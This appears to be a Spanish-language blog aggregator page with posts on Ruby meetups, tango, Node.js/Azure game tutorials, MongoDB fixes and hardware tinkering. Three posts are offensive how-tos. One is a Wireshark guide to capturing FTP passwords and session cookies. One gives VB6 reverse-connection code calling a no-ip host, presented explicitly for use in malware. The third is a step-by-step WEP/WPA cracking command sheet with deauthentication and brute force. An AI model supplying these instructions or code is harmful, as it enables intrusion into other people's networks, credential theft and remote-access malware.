Al final, no recuerdo quién trajo regalitos de @schacon de Github, calcomanías y una remera, para regalar.

Quedan calcomanías para los que vayan al próximo meetup y además vamos a sortear la remera entre los participantes.

Hmm… alguien se había propuesto hablar sobre Amazon Web Services, creo, con Ruby. Pero parece que no se hizo esa charla.

Vean en https://docs.google.com/spreadsheet/ccc?key=0AiLxWdzFG7oWdDNjZzhfV2RZQnN0WDJRNllaWFV5Nnc las charlas propuestas.

Mis posts sobre Ruby.

Nos leemos!

Angel "Java” Lopez
http://www.ajlopez.com
http://twitter.com/ajlopez

Imperdibles (enero 16)

desde Hipertextos [desde La Plata] por Christian Silva

Vínculos interesantes que voy coleccionando en Delicious

  • Facebook Albums to PDF: exporta tus álbumes, o los de tus amigos, a documento PDF – Ya hemos comentado algunas opciones para exportar nuestros álbumes fotográficos de Facebook, como por ejemplo Facebook2zip, y hoy le toca el turno a otra interesante alternativa: Facebook Albums to PDF.
  • David Weinberger: Everything is Miscellaneous – (Un clásico para archivar) Philosopher and author David Weinberger, one of the minds behind the The Cluetrain Manifesto , has published “Everything is Miscellaneous”, a book on the power of the digital disorder. He argues that the established ways of ordering, explaining, and categorizing things as know from the physical world, are breaking down. Instead, we are witnessing the rise of the digital disorder which gives us multiple choices to tag, to search and to find information.
  • Ingeniería Social: El hacking Psicológico – Hemos repetido hasta el cansancio que las personas, los usuarios, somos el escalón más débil en la cadena de seguridad que puede separar a cualquier de nuestros datos privados. La ingeniería social se basa en este axioma de la seguridad informática para, de una manera artesanal y prácticamente indetectable, ir sacándonos información útil para sus proyectos sin que nos demos por sabidos. En este artículo le damos un repaso al concepto de ingeniería social como herramienta cracker, sus características, el porqué de su efectividad y algunas precauciones a tomar para no ser engañados por estos artesanos del espionaje y del hacking psicológico.
  • Tim O’Reilly: “por qué lucho contra SOPA” – La piratería no es un problema real. A mi modo de ver, no hay ninguna necesidad de ningún tipo de legislación. Como editor, tengo una experiencia muy profunda en este tema, y el hecho es que la piratería no es un problema significativo. Sí, hay gente que está pirateando mis libros, hay personas compartiendo enlaces a sitios en los que pueden ser descargados. Pero la gran mayoría de los clientes están dispuestos a pagar si el producto está ampliamente disponible y el precio es justo. Si tienes una relación con tus clientes, y ellos saben que estás haciendo lo correcto, te apoyarán. Las personas que están pirateando son probablemente personas que, para empezar, nunca te habrían dado ni un centavo. La piratería sirve a personas en los márgenes del mercado que no están siendo adecuadamente atendidos por los mercados legales. Francamente, si la gente en Rumanía puede descargarse mis libros y disfrutar de ellos, mejor para ellos. En cualquier caso no me iban a pagar.
  • Android Diseño – Un sitio, para aprender acerca de los principios, bloques de construcción y patrones para crear interfaces de usuario de Android. Dirigido tanto a profesionales en el diseño de interfaces de usuario o desarrolladores que estén jugando ese papel.
    Los documentos muestran cómo tomar buenas decisiones de diseño. El equipo de experiencia de usuario de Android se comprometen a ayudar a diseñar aplicaciones agradables visualmente y que les guste a la gente. En los próximos meses se ampliará con más contenido.

Sniffing con Wireshark

desde [A]NTRAX [L]ABS por ANTRAX (noreply@blogger.com)
Introducción.

Wireshark es un analizador de paquetes de red, comúnmente llamado sniffer.
Es utilizado por administradores de redes para ver todo el tráfico que está pasando en un momento específico.
Una de las ventajas que tiene, es que es open source y multiplataforma.
Wireshark ofrece distintos tipos de filtros para leer los paquetes. Captura a demás cookies y passwords que veremos a continuación en este paper.
Para instalar wireshark simplemente hay que ir a su página oficial y descargarlo.
http://www.wireshark.org/download.html
Desde linux, se puede descargar desde la consola.

Sudo apt-get install wireshark

Partes de Wireshark

Enumere las partes más importantes del Wireshark para describirlas por separado.
1 – Muestra un listado de las interfaces disponibles que podemos poner a la escucha de paquetes.
2 – Permite configurar algunos parámetros de nuestra interface
3 – El filtro permite filtras paquetes separándolos por IP, protocolos, etc
4 – Listado de paquetes. Muestra un resumen de los paquetes capturados, presionando con el otro botón del mouse se listaran opciones disponibles para manejarlos a gusto.
5 – Panel de vista en Árbol. Muestra el paquete seleccionado con mayor detalle.
6 – Panel de detalle  de los datos. Muestra los datos del panel superior en formato hexadecimal y ascii

También podemos ver en el menú superior las siguientes opciones:

File: Contiene las funciones para manipular archivos y para cerrar la aplicación Wireshark.
Edit: Este se puede aplicar funciones a los paquetes, por ejemplo, buscar un paquetes especifico, aplicar una marca al paquete y configurar la interfaz de usuario.
View: Permite configurar el despliegue del paquete capturado.
Go: Desde acá podemos ir a un paquete especifico, volver atrás, adelante, etc.
Capture: Para iniciar y detener la captura de paquetes.
Analyze: Desde analyze podemos manipular los filtros, habilitar o deshabilitar protocolos, flujos de paquetes, etc.
Statistics: Podemos definir u obtener las estadísticas del trafico capturado.
Telephony: Trae herramientas para telefonía.
Tools: Opciones para el firewall
Internal: Parámetros internos de Wireshark
Help: Menú de ayuda.

Primeros pasos con Wireshark

Una vez instalado, lo abrimos y presionamos sobre el icono marcado en rojo en la imagen

Esto nos permitirá seleccionar nuestra tarjeta de red que pondremos a la escucha de paquetes.

Para saber que tarjeta poner a la escucha, debemos observar cual es la que recibe paquetes.
Se puede observar en la imagen que en mi caso es la wlan0. Una vez identificada, damos en Start para comenzar.
Automáticamente el programa comenzara a capturar paquetes de todos los hosts conectados a la red.
Ahora navegare un poco con mis ordenadores por internet para ver que podemos capturar.

Les mostrare un ejemplo de cómo se manifestó mi wireshark cuando hice un apt-get install en la consola de Linux

Ahí podemos ver de que ip a que ip se mueven los paquetes y porque protocolo. A demás de esto podemos ver el contenido del paquete que lo veremos más adelante en este mismo paper.
Si observamos la imagen, hay una caja de texto llamada Filter.

Esa caja de texto, como bien dice su nombre, permite filtrar paquetes. Y ahora veremos algunos de los filtros que posee Wireshark para que podamos usar este sniffer de una forma más eficiente.
En el filtro se pueden usar operadores lógicos como los siguientes:
== (Igual que)
> (Mayor que)
< (Menor que)
!= (Distinto que)
>= (Mayor o igual que)
<= (Menor o igual que)
Basándome en el paper de Datasecurity, les dejo a continuación los parámetros más usados en este sniffer

Filtros por IP

[En todos los ejemplos, reemplazar 0.0.0.0 por la ip a filtrar]
ip.addr = = 0.0.0.0
ip.addr = = 0.0.0.0 && ip.addr = = 0.0.0.0 (Para filtrar más de una IP )
ip.addr = = 0.0.0.0 || ip.addr = = 0.0.0.0 (Para filtrar una IP de cualquiera de las dos)
Para filtrar paquetes de la fuente en direcciones IPv4 especificas:
ip.src == 0.0.0.0
ip.src == 0.0.0.0 && ip.src == 0.0.0.0 (Para filtrar más de una IP )
ip.src == 0.0.0.0 || ip.src == 0.0.0.0 (Para filtrar una IP de cualquiera de las dos)
Para filtrar paquetes del destino en direcciones IPv4 especificas:
ip.dst == 0.0.0.0
ip.dst == 0.0.0.0 && ip.dst == 0.0.0.0 (Para filtrar más de una IP )
ip.dst == 0.0.0.0 || ip.dst == 0.0.0.0 (Para filtrar una IP de cualquiera de las dos)
Nota: Para direcciones IP v6 utilice: ipv6.addr, ipv6.src, ipv6.dst, etc.

Para filtrar paquetes del protocolo ARP entre:
arp.src.proto (dirección del protocolo de la fuente)
arp.src.hw (dirección hardware de la fuente)
arp.dst.hw (dirección hardware del destino)
arp.src.hw_mac (dirección MAC de la fuente)
arp.dst.hw_mac (dirección MAC del destino)
arp.src.proto_ipv4 (dirección IPv4 de la fuente )
arp.dst.proto_ipv4 (dirección IPv4 del destino)
Para filtrar paquetes del protocolo Ethernet:
eth.dst == ff:ff:ff:ff:ff:ff (dirección MAC)
eth.src == ff:ff:ff:ff:ff:ff (dirección MAC)
eth.addr == ff:ff:ff:ff:ff:ff (dirección MAC)
Veremos un ejemplo con uno de los filtros: ip.addr == 192.168.1.37

En este caso me debería mostrar los paquetes correspondientes a la ip 192.168.1.37
Se puede ver en verde también 192.168.1.1 y esto es porque hace petición al router.

Filtro por protocolo

Como vimos hasta ahora, este filtro es muy poderoso, pero se darán cuenta de su potencial ahora que filtraremos por protocolo.
Algunos de los filtros son estos: tcp, http, pop, dns, arp, ssl, etc.
Con un Sniffer podemos obtener datos muy importantes. Desde cookies hasta usuarios y contraseñas. A modo ejemplo, abriré un FTP y veremos lo que hace nuestro Wireshark:

Como se puede ver, solo filtre el protocolo FTP. Y tambien notaremos que sacó mi user y pass del FTP.
Veremos ahora otros de los protocolos que suele capturar. En este caso hare un ping a mi blog www.antrax-labs.org

La imagen muestra el protocolo DNS e ICMP. Que si los añadimos en la caja de texto de filtro, nos los filtrara.
Aquí tenemos filtro por DNS

Cabe aclarar que cada protocolo tiene un color diferente (que puede modificarse a gusto) para resaltarlos y distinguirlos con mayor facilidad.

Otros filtros

Veremos ahora otros filtros de gran utilidad, como este otro que nos permite filtrar por dominio o host
http.host == “DOMINIO”
Acá lo que hice fue poner la url de facebook y robo mi cookie. Veremos ahora un ejemplo con otra web, pero filtrando nada más que el protocolo TCP:

Se puede ver de qué ip privada navego hacia que ip publica. En este caso, la ip pública es la del foro infiernohacker y abajo muestra la url de referencia.

Otras opciones de Wireshark

Veremos ahora algo que se llama Go to Packet o ir al paquete. Para usar esta opción basta con ir a GO >> Go to Packet en el menú de la barra superior.
Permite ir a un número de paquete que especifiquemos en el cuadro de texto.

Otras de las opciones muy útiles que tiene Wireshark es la de poder mostrar en formato ascii la lectura de los paquetes capturados para poder así facilitar su entendimiento
Para ir a esta opción colocamos en el filtro HTTP y solo basta con clickear con el botón secundario del mouse y seleccionar Follow TCP Stream

Como se puede ver, se ve mucho más entendible el código y permite tambien pasarlo a Hexadecimal, C Array etc.

Espero que les haya sido de utilidad

ANTRAX

¿En qué pensar cuándo bailamos tango?

desde aurelianito por aurelianito (noreply@blogger.com)
Algo que es muy común cuando uno lleva a una principiante es que "baile sola". O sea, que da pasos que no son marcados. ¿Por qué? Creo que es el miedo al vacío, a que había que hacer algo en ese compás y el paso que le enseñaron era ése.
Poder esperar hasta el siguiente paso, manteniendo el equilibrio, no es fácil. Y a mi me gusta mucho hacer pausas cuando bailo y pasar 2 o 3 compases sin pisar (o sea, conservando el peso de los pies tanto míos como los de mi pareja). Entonces estuve buscando alguna forma de poder ayudar a que puedan estar sin pisar, cosa que hace que yo disfrute más del baile y que ellas bailen mejor (y, espero, que lo disfruten también). A lo que llegué, es que están demasiado enfocadas en los pasos. Creo que esto es algo común tanto para cuando llevamos como para cuando somos llevados.
Mi contrapropuesta es que pensemos en otra cosa. Pensemos en nuestra pareja de baile y como interactúa con nosotros. En el calor que se siente en las partes del cuerpo que están en contacto. Brazo con espalda, mano con mano, pecho con pecho, panza con panza, etc. Y hagamos eso todo el tiempo. Pensemos en cómo va variando cuando hacemos diferentes pasos, con la respiración. Si nos concentramos, a veces también podemos sentir los latidos del corazón.
Lamentablemente, cuando llevamos tenemos otras responsabilidades. Manejar el espacio y la circulación en la pista. Empezar y terminar las frases de la música. Preveer el final para no quedar pagando. Pero si tenés la suerte de estar siguiendo, podés entregarte 100% a sentir a tu pareja de baile, que es lo más lindo del tango.
Nos vemos en la milonga,
Aureliano.
PD: No, no doy clases de tango.

Programando Juegos Sociales en Línea (Parte 8) Agregando Node.Js

desde Angel "Java" Lopez por lopez

Anterior Post

En el anterior post, mostré el procesamiento del juego en el  Windows Azure Toolkit for Social Gaming (versión 1.1.1, hay una nueva 1.2.0 pero aún en beta). Ahora, es tiempo de ver cómo agregar Node.js como servidor de juego a nuestro simple juego de Ta Te Ti.

Vean que todo el código client de Game Service es agnóstico del juego, es decir, no depende del juego que se está implementando. Y vean también que ese Game Service en javascript puede ser cambiado para usar otros servicios. En este post, veremos cómo cambiar el procesamiento de las jugadas para usar una instancia del servidor Node.js.

Primero, bajarse el código a agregar de mi GitHub:

https://github.com/ajlopez/SocialGamingExtensions

Entonces:

1 – Bajar e instalar el Windows Azure Toolkit for Social Gaming versión 1.1.1, desde:

http://watgames.codeplex.com/releases/view/77091

1 – Instalar Node.js para Windows, desde http://nodejs.org/#download

2 – Cambiar al subdirectorio server de mi código, y ejecutar el comando:

npm install socket.io

La librería socket.io se bajará e instalará en el subdirectorio node_modules:

Vean que baja bastante:

3 – Iniciar el servidor de node:

node gameex.js

El servidor comienza a escuchar:

4 – Copiar el directorio client de mi código al directorio del proyecto SocialGaming.Web. Los archivos Web.config, BaseController.cs, TicTacToeController.cs serán reemplazadas. Hay nuevos archivos: Scripts\game\GameServiceNodeJs.js, Areas\Samples\Views\TicTacToe\NodeJs.cshtml.

5 – Abrir la solución de Microsoft en el Visual Studio 2010 (run as administrator) y agregar esos nuevos archivos al proyecto SocialGaming.Web. El nuevo GameService a usar para Node.js:

La nueva vista TicTacToe que usa al Node.js:

La nueva acción en el controlador TicTacToe:

Y la nueva entrada en el web.config:

El reemplazado BaseController lee esa nueva configuración, que queda disponible para ser usada por la vista:

6 – Iniciar la aplicación, debería ejecurtarse como http://127.0.0.1:81 (en puerta 81) para ser aceptada por la seguridad federada configurada en el portal de Access Control Service.

7 – Navegar a /Samples/TicTacToe/NodeJs. Ver la URL de invitación:

8 – El cliente se conecta con el servidor de Node.js. Dependiendo de las capacidades del cliente, socket.io usará WebSockets o XHR long polling:

 

9 – Abrir un nuevo explorador, en una sesión privada, y navegar a la URL provista en el paso 7

10 – Hay dos jugadores. El de la derecha (el invitado) jugó en la celda del top izquierdo. El primer jugador (el de la izquierda) recibe la nueva movida y actualiza su tablero.

11 – Ver la consola del servidor Node.js: la movida fue recibida y enviada a todos los participantes de esta instacia de juego:

Bien! Trabajo para el hogar: agreguen el Node.js para publicarse en un worker role. Vean el post de @ntotten NodeJS on Windows Azure).

Próximos temas: explicar en detalle el código del servidor que ejecuta Node.js (por ejemplo, soporta sockets TCP además de socket.io; de esta manera podemos programar un cliente en otras plataformas, desde Silverlight a IPhone a Android, sin depender de tener que usar una librería Socket.io en esos clientes).

Nos leemos!

Angel “Java” Lopez
http://www.ajlopez.com
http://twitter.com/ajlopez

desde Blog de UsabilidadWeb.com.ar por Carlos (noreply@blogger.com)

Red de Formación Continua On Line de usabilidadweb.com.ar



Un Entorno de Estudio y Consulta en la Nube sobre Estándares Web HTML5, CSS3, Web Móvil, Semántica, Accesibilidad, negocios Long Tail, Javascript, etc., Accesible desde cualquier parte del mundo con un Navegador Web, donde un conjunto de Herramientas de Edición en Tiempo Real, de Comunicación, de Almacenamiento en la Nube, Organizadores de Tareas, Foro, Buscadores etc., junto a Información y Proyectos, crean un entorno de excepción, y permiten un aprendizaje integral con una Comunicación efectiva entre los Usuarios, generando Inteligencia Colectiva. Opciones personalizadas están disponibles.

Software Colaborativo en la Nube, conectado a recursos on line, permite el trabajo colectivo desde cualquier parte del mundo.

w3codigo.com.ar

Programando Juegos Sociales en Línea (Parte 7) Procesamiento de las Jugadas

desde Angel "Java" Lopez por lopez

Anterior Post

Quiero en este post presentar el procesamiento de las jugadas del ejemplo simple de Ta Te Ti. Involucra varias partes, desde la vista Razor que usa Javascript, hasta el Web Role, hasta el Azure Blob Storage.

Estos son los archivos javascript referenciados en la vista TicTacToe (en el archivo SocialGame.Web/Areas/Samples/Views/TicTacToe/Index.cshtml):

<script src="@Url.AreaContent("Scripts/jQuery.tmpl.js")" type="text/javascript"></script>
<script src="@Url.AreaContent("Scripts/knockout-1.2.1.js")" type="text/javascript"></script>
<script src="@Url.Content("~/Scripts/game/ServerInterface.js")" type="text/javascript"></script>
<script src="@Url.Content("~/Scripts/game/GameService.js")" type="text/javascript"></script>
<script src="@Url.Content("~/Scripts/game/UserService.js")" type="text/javascript"></script>
<script src="@Url.AreaContent("Scripts/game/TicTacToeBoard.js")" type="text/javascript"></script>
<script src="@Url.AreaContent("Scripts/game/TicTacToeGame.js")" type="text/javascript"></script>
<script src="@Url.AreaContent("Scripts/game/TicTacToeViewModel.js")" type="text/javascript"></script>
<script src="@Url.AreaContent("Scripts/game/TicTacToeController.js")" type="text/javascript"></script>

Como escribí en el aterior post, tanto ServerInterface, GameService como UserService son agnósticos del juego, pueden reusarse para cualquier juego. Para cada nuevo tipo de juego X, lo que tenemos que programar son los XBoard, XGame con la lógica del juego, el XViewModel y el apropiado XController.

Al final de esa vista, se encuentra la creación de los servicios agnósticos del juego a usar desde el cliente:

var apiURL = "@this.ViewBag.ApiUrl";
var blobURL = "@this.ViewBag.BlobUrl";
var si = new ServerInterface();
var gs = new GameService(apiURL, blobURL, si);
var user = new UserService(apiURL, blobURL, si);

Las propiedades @this.ViewBag son llenadas en el servidor, en el controlodor de ASP.NET MVC (ver BaseController.cs)

La creación del controlador del juego:

// check for canvas, show an "Upgrade your browser" screen if they don't have it.
var canvas = document.getElementById('board');
if (canvas.getContext == null || canvas.getContext('2d') == null) {
    $("#game").toggle();
    $("#notSupported").toggle();
    return;
}
var board = new TicTacToeBoard(canvas);
var game = new TicTacToeGame();
var controller = new TicTacToeController(viewModel, gs, board, game);
controller.setGameQueueId(gameQueueId);
controller.start();


Pero la parte interesante está en el constructor del controlador:

function TicTacToeController(viewModel, gameService, board, game) {
    this.viewModel = viewModel;
    this.gameService = gameService;
    this.board = board;
    this.game = game;
    this.started = false;
    var controller = this;
    this.board.onMove = function (x, y) { controller.onMove(x, y); };
};


Notemos el this.board.onMove: el controlador se registra a sí mismo para procesar las nuevas movidas detectadas por el componente que maneja el tablero. En su método start(), el controlador se registra a sí mismo para procesar las actualizaciones detectas por el servicio de gameService:

controller.gameService.process(
        gameQueueId,
        function (queue) { controller.processGameQueue(queue); },
        function (action) { controller.processAction(action); }
        );

Examinemos el procesamiento de las jugadas.

1 – El componente del tablero detecta un click, determina la casilla, y envía una nueva movida al controlador, usando el callback onMove

2 – El controlador envía la nueva movida para la lógica del juego, para actualizar el estado (he omitido el view model en este gráfico)

3 – El controlador envía la nueva movida al game service.

4 – El game service envía un nuevo comando al web role, usando el server interface

5 – La API del web role recibe el nuevo comando

6 – La información del comando es agregada al blob que refleja el estado del juego, almacenado en el Azure Storage

Ahora, veamos el procesamiento en el otro cliente:

1 – El game service, usando un timer, va leyendo reiteradamente el stado del juego, usando la service interface

2 – La service interface, usando JSONP, recupera el estado actual del juego, desde un blob de Azure Storage

3 – Si una nueva movida es detectada en ese estado, el game service llama a una función callback provista por el controlador (el game service no tiene referencia al controlador).

4 – El controlador envía la nueva movida a la lógical de juego, que actualiza su estado (omití el view model en este gráfico)

5 – El controlador envía la nueva movida al componente de tablero, para actualizar el canvas

Un punto clave: el controllador no conoce NADA acerca de la service inteface, la API de WCF Web, el blob storage. Entonces, podemos cambiar el game service para que procese las movidas de otras maneras. Próximo post: modificar el game service para usar a Node.js como servidor de las movidas del juego.

Nos leemos!

Angel “Java” Lopez
http://www.ajlopez.com
http://twitter.com/ajlopez

Recuperando Std exception old lock file terminating – mongodb

desde Blog tech-nico.com por soporte

Cuando un servidor tiene un apagado forzoso (se apaga por un corte de energia) o por alguna otra razón, es probable al querer iniciar nuevamente la base de datos /etc/init.d/mongodb start obtengamos el error: “exception in initAndListen std::exception: old lock file, terminating” en el el log de mongodb.

Para resolverlo simplemente eliminamos el archivo  /var/lib/mongodb/mongod.lock.
__________________
Nicolas tech-nico.com

Conexion Inversa

desde [A]NTRAX [L]ABS por ANTRAX (noreply@blogger.com)
Introducción:

Hola a todos, en este papers les enseñare a crear una conexión inversa para que puedan colocarla luego en sus malwares.
El método que les mostrare es muy sencillo y se puede mejorar muchísimo, pero es para que tengan una idea de cómo se usa.
Lo que necesitaremos para este tutorial será tener una cuenta en www.no-ip.com

NO-IP

Una vez registrados, nos logueamos colocando nuestro mail y pass que colocamos. Seguido a esto, veremos un menú como este:

Vamos a Add a Host y únicamente colocamos el hostname que usaremos. El resto lo dejaremos tal cual esta.

Presionamos en el botón Create Host y listo.

Ahora nos descargamos el cliente para conectarnos a nuestra no-ip que su descarga está disponible en esa misma web.

Una vez descargado, lo instalamos y tendremos algo como lo siguiente:

Nos logueamos con el user y pass con los cuales nos registramos y veremos la no-ip que nos hemos creado:

La activamos y damos en Save

Si tenemos las tres tildes en verde, es porque todo está perfecto. Ahora pasaremos a la programación.

Implementación en el server

Ahora lo que nos quedaría, seria colocarlo en el server.
Agregamos el control Winsock. Vamos al menú en Proyecto y seleccionamos Componentes
Y añadimos el control Microsoft Winsock Control 6.0

 Nos aparecerá un nuevo control con este icono:

Simplemente lo arrastramos hacia adentro del formulario:

Ahora damos doble click sobre el formulario y añadimos el siguiente código:
Private Sub Form_Load()
'Conexion Inversa
Dim ip As String
Dim ipftp As String
Dim port As Integer

ip = "antrax-labs.no-ip.org"
ipftp = "antrax-labs.no-ip.org"
port = 81
WS.RemoteHost = ip
WS.RemotePort = port
tmr_inversa.in terval = "3000"
End Sub
Recuerden cambiar IP, IPFTP por su no-ip y el Puerto por el que tengan abierto en su router.
Como bien dije al principio, esto se puede mejorar y mucho, ya que en lugar de modificar el código fuente del server manualmente se vuelve tedioso y puede ser reemplazado por un edit server o un build server desde el cliente. Pero eso ya quedara para otro tutorial.
Espero que les sirva y hayan entendido como funciona.

Crackear WEP´s - WPA/WPA2/PSK [Resumen de Codigos]

desde [A]NTRAX [L]ABS por ANTRAX (noreply@blogger.com)
1. WEP`s [ARP request replay attack]:

 NOTA: En todos los casos reemplazar:
 XXXX: Interface
 ZZZZ: Canal
 YYYY: MAC BSSID
 RRR: ESSID

 1.1. Cambiar la MAC:

 A. airmon-ng (Ver la interface que usamos)
 B. airmon-ng stop XXXX (Detenemos el modo monitor)
 C. ifconfig XXXX down (Tiramos nuestra interface)
 D. macchanger --mac 00:11:22:33:44:55 XXXX (Cambiamos nuestra MAC, en este caso sera 00:11:22:33:44:55)
 E. airmon-ng start XXXX (Volvemos a iniciar el modo monitor)

 1.2. Buscar Redes:

 F. airodump-ng XXXX ( Scannea Redes)
 G. CTRL + C (Detiene el scanneo)
 H. airodump-ng -c ZZZZ -w datas --bssid YYYY XXXX (Capturamos IVs) [No cerrar consola]

 1.3. Asociandonos a la red (En otra consola):

 I. aireplay-ng -1 0 -a YYYY -h 00:11:22:33:44:55 -e RRR XXXX (Asociacion con la red)

 1.4 Inyectando Trafico:

 J. aireplay-ng -3 -b YYYY -h 00:11:22:33:44:55 XXXX (Captura Datas a mas velocidad)

 1.5. Desencriptando la Clave (En otra consola):

 K. aircrack-ng datas-01.cap (Desencripta la clave con Aircrack)

 2. WPA/WPA2/PSK:

 NOTA: En todos los casos reemplazar: 
 XXXX: Interface
 ZZZZ: Canal
 YYYY: MAC BSSID
 RRR: Interface modo monitor
 TTTT: Station

 2.1. Colocar la interface en modo monitor

 A. aimon-ng (Saber nuestra Interface)
 B. airmon-ng start XXXX (Colocamos en modo monitor nuestra Interface)

 2.2. Capturando el Handshake:

 C. airodump-ng RRR (Scannea redes)
 D. CTRL + C (Frena el scanneo)
 E. airodump-ng RRR --channel 1 --bssid YYYY -w /tmp/wpa2 (Guardara los *.cap en el directorio que le indicamos)
 F. aireplay-ng -0 1 -a YYYY -c TTTT RRR(Comenzara la captura del Handshake)

 2.3 Obteniendo la Clave:

 G.1. aircrack-ng -w /pentest/passwords/wordlists/wpa.txt -b YYYY /tmp/wpa2*.cap (Saca la Pass por Diccionario)
 G.2. /pentest/passwords/jtr/john --stdout --incremental:all | aircrack-ng -b YYYY -w - /tmp/wpa2*.cap (Saca la Pass por Fuerza Bruta con John The Ripper)

JBoss User Group Argentina Meetup: jBMP5 y Drools (1)

desde Angel "Java" Lopez por lopez

El martes 6 de Diciembre de 2011 asistí al:

Introducción a jBPM5 (Drools Platform)

organizado por el JBoss User Group Argentina. Me enteré de estas reuniones gracias al Java User Group de Argentina (y a gracias a @HernanHHT):

http://www.jugargentina.org/

Esta fue la primera reunión, y se realizó en las oficinas de Red Hat en Puerto Madero, Buenos Aires. Pueden seguir a @JBUGArgentina en Twitter. Los “slides” de la presentación pueden verlos en:

jBPM5 Introduction – Spanish – Extended Version

Fue una muy buena presentación (duró una hora y media) dada por Mauricio Salatino (http://salaboy.com/ @salaboy) y Marianao De Maio (@marianbuenosayr). Fueron tal vez muchos temas, en el tiempo disponible, pero fue muy interesante. El principal tema fue jBPM5, ver:

jBPM – JBoss Community (solución de process/workflow)

Que es parte de la plataforma abarcativa:

Drools – JBoss Community (que incluye un Business Rules Manager, un procesador de eventos complejos, un rule engine, y más)

Puntos a destacar, en este primer post:

- Se expuso la Community Edition, que está escrita en Java, y es de código abierto. Pueden ejecutarla en varias plataformas (incluso Windows)

- La gente de Red Hat tiene una versión con soporte (pago). Pero comentaron, que al contrario de otras iniciativas que liberan como código abierto versiones que ya quedan en el tiempo, RedHat basa su estrategia de innovación en el soporte de la comunidad: la versión Community ES LA VERSION avanzada, con más “features” experimentales, etc. La de soporte es una versión algo anterior, con el valor agregado de RedHat, vigilando su estabilidad.

- Como caso de éxito de esta estrategia, apareció en esta charla el caso de la evolución de jBPM, para llegar a la versión presentada, la 5. La gente de RedHat había avanzado con jBPM hasta la versión 3. Mientras, el grupo Drools, que trabajaba produciendo código abierto, empezó Drools Flow, un sistema de manejo de procesos y flujo de trabajo. Ya jBPM (el producto comercial original) tenía sus clientes en todo el mundo, cuando se preparó la versión 4. Pero no prendió en el mercado. El grupo de desarrollo original de jBPM abandonó RedHat, y formó otra empresa, basada en lo que habían hecho en jBPM. Mientras tanto, el producto comunitario Drools Flow venía creciendo con buena aceptación y con una nueva forma de encarar el tema de workflow. RedHat vió la potencialidad de ese producto, y por razones de marketing, lo rebautizaron jBPM5. Pero no tiene nada que ver con los jBPM anteriores: las ideas y el código base es totalmente distinto. De todo Drools, es lo único que fue rebautizado.

Luego de la presentación, nos agasajaron con comida (excelente las medialunas rellenas (sólo superadas por las idem de la RubyConf de Argentina, que venían con queso recién derretido ;-), los sandwiches de miga de varios gustos, y algo que llamaría canapé, un delicatessen.. varias heladeras con distintas bebidas… a ver si aprende Microsoft ;-) mensaje para @masaez ;-). Ahí (cerca de las 20:30hs) me tuve que ir. Iban a comenzar un taller, con práctica en Notebook, usando JDK 1.6, Eclipse (y creo que Maven… ooopss .. me dió cosita ;-) tanto en Linux como en Windows y hasta creo Mac. Me pareció que se extendió mucho entonces, porque la gente se fue tarde. Pero fue una impresión, no me quedé, tenía que volver a mi cubil principal.

Tomé varias notas de la charla, ya las presentaré en próximos posts (este es el primero de una serie). Una idea rondando (que comenté en mis resoluciones del nuevo mes; hubiera querido comenzarla en mi semana sabática, pero no la incluí en mis “commitments” porque veía que necesitaba más tiempo): comenzar un rule engine basado en algo parecido al algoritmo Rete, supongo que en C#, practicando TDD.

Nos leemos!

Angel “Java” Lopez
http://www.ajlopez.com
http://twitter.com/ajlopez

Convertir Código C# a VB.Net

converter01

Cuando quiero buscar algún ejemplo de código para resolver cualquier duda de programación, muchas veces resulta que el código de ejemplo está en CSharp (esta fue una de mis motivaciones al crear este sitio) y depende de los conocimientos de quien busque, muchas veces resulta difícil tener que entender un ejemplo en un lenguaje diferente del que estoy usando para programar.

Muchas veces he recurrido a servicios de conversión de código entre diferentes lenguajes y esto en muchos casos resulta muy útil. Hoy quiero compartir con ustedes dos servicios que realizan esta tarea y lo hacen muy bien: http://www.developerfusion.com/tools/convert/csharp-to-vb/ y http://converter.telerik.com/.

converter02

Espero que estos recursos les sean de mucha utilidad.

Convertir Código C# a VB.Net

converter01

Cuando quiero buscar algún ejemplo de código para resolver cualquier duda de programación, muchas veces resulta que el código de ejemplo está en CSharp (esta fue una de mis motivaciones al crear este sitio) y depende de los conocimientos de quien busque, muchas veces resulta difícil tener que entender un ejemplo en un lenguaje diferente del que estoy usando para programar.

Muchas veces he recurrido a servicios de conversión de código entre diferentes lenguajes y esto en muchos casos resulta muy útil. Hoy quiero compartir con ustedes dos servicios que realizan esta tarea y lo hacen muy bien: http://www.developerfusion.com/tools/convert/csharp-to-vb/ y http://converter.telerik.com/.

converter02

Espero que estos recursos les sean de mucha utilidad.

Resoluciones del Nuevo Mes

desde Angel "Java" Lopez por lopez

En mi opinión, usar un año para planear objetivos es demasiado tiempo. Prefiero tener periodos más cortos para iteraciones de vida. Un año da demasiado tiempo para la pereza, pérdida de foco y “procratination”. Mi propuesta: tener objetivos mensuales. Ayer domingo, escribí sobre mis  resoluciones públicas del nuevo mes. Ahora, es tiempo de escribir una lista corta de resoluciones del nuevo mes, casi todas con entregables públicos:

- Implementar Id en los nodos de AjCoRe (simple Content Repository)
- Implementar Server/Client en AjKeyvs (Key Value Store)
- Comenzar una nueva versión de mi framework simple PHP, rejuveneciendo uno viejo de principios de siglo, a publicar en mi cuenta de GitHub
- Publicar un ejemplo de servidor web simple en mis ejemplos Node.js
- Publicar un juego simple en HTML5/Canvas game usando Node.js como servidor del juego (en Node.js samples)
- Continuar trabajando en AjLang, intérprete con sintaxis tipo Ruby, que maneja tipos y objetos .NET
- Continuar trabajando en AjLisp en Java
- Jugar con Clojure REPL
- Comenzar a escribir AjRools.Expert, un “rule engine” en C#, a la JBoss Drools Expert, pero con el algoritmo desarrollado desde cero, usando TDD, a publicar en mi GitHub)

Podría agregar publicar posts de algunos de estos items, pero casi todos tienen repositorios públicos, así que los “commits” que haga en ellos serviran como prueba del avance.

Después de este primer mes de resoluciones (Enero de 2012), escribiré otra nueva lista, posiblemente mejor, con mejores definicies de trabajos y salidas esperadas. Muchas de estas resoluciones están motivadas por estudiar cosas nuevas, y practicar, practicar, practicar, practicar.

Nos leemos!

Angel “Java” Lopez
http://www.ajlopez.com
http://twitter.com/ajlopez

Como refrigerar un Azbox HD Bravoo

desde Blog tech-nico.com por soporte

Hoy decidí modificar mi equipo de FTA (Free to Air).

Al parecer en lugares donde corre poco aire los equipos levantan temperatura y terminan apagándose o destellando la pantalla.

Lo que hice fue comprar un Cooler de PC marca NogaNet ($ 15 pesos). Mientras sean de 12v. Cualquier marca sirve.

Aqui va el resultado en imagenes:

Feliz Navidad!!!!! :D
______________________
Nicolas Tech-nico.com

[Solucionado] Error en Thundercache (mongodb) luego de la instalación (Uncaught exception ‘MongoCursorException’ )

